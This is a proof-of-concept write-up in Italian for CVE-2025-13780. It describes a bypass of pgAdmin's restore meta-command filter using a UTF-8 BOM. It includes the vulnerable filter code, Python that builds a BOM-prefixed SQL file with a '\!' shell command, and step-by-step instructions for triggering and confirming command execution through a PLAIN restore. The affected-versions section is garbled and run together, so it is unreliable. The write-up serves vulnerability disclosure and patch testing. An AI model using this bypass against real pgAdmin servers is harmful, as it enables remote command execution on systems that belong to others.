
Proof of concept for CVE-2025-13780
Il filtro di meta-comandi per il ripristino PLAIN introdotto in pgAdmin come parte della correzione per Issue 9320 non rileva i meta-comandi quando un file SQL inizia con un BOM UTF-8 (EF BB BF) o altre sequenze speciali. Il filtro implementato utilizza la funzione has_meta_commands(), che scansiona i byte grezzi usando un'espressione regolare. L'espressione regolare non tratta i byte come ignorabili, quindi meta-comandi come ! rimangono non rilevati. Quando pgAdmin invoca psql con --file, psql rimuove i byte ed esegue il comando. Ciò può portare all'esecuzione remota di comandi durante un'operazione di ripristino.
Questo bypass interessa la patch introdotta nel commit 1d397395f75320ca1d4ed5e9ca721c603415e836 (https://github.com/pgadmin-org/pgadmin4/commit/1d397395f75320ca1d4ed5e9ca721c603415e836)
Confermate affette:
63ee81202b65e1e8923eb1b917b49312a6fb7df2 (2025-11-13)Probabilmente affette:
has_meta_commands() corretta dal commit 1d397395f75320ca1d4ed5e9ca721c603415e836\restrict), quindi i meta-comandi sono ora bloccati da psql stessoweb/pgadmin/tools/restore/__init__.py has_meta_commands()Codice rilevante (dalla versione corretta):
def has_meta_commands(path, chunk_size=8 * 1024 * 1024):
pattern = re.compile(br'(^|\n)[ \t]*\\')
with open(path, "rb") as f:
prev_tail = b""
while chunk := f.read(chunk_size):
data = prev_tail + chunk
if pattern.search(data):
return True
prev_tail = data[-10:]
return False
Passo 1: Creare un file SQL che inizi con un BOM e un meta-comando.
payload = b"\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran\nSELECT 1;\n"
with open("bypass_bom.sql", "wb") as f:
f.write(payload)
Passo 2: Verificare il BOM:
xxd bypass_bom.sql | head -1
Previsto:
ef bb bf 5c 21 ...
Passo 3: Posizionare il file nell'archivio di pgAdmin:
/var/lib/pgadmin/storage/<user>/bypass_bom.sql
Passo 4: In pgAdmin: Ripristino -> Formato: PLAIN -> selezionare bypass_bom.sql -> Esegui
Passo 5: Verificare l'esecuzione:
ls /tmp/bom_ran
Il file di controllo senza BOM viene correttamente bloccato.
Payload con BOM:
\xef\xbb\xbf\\! echo HACKED_FROM_BOM > /tmp/bom_ran
SELECT 1;
Payload di controllo:
\\! echo SHOULD_BE_BLOCKED
SELECT 1;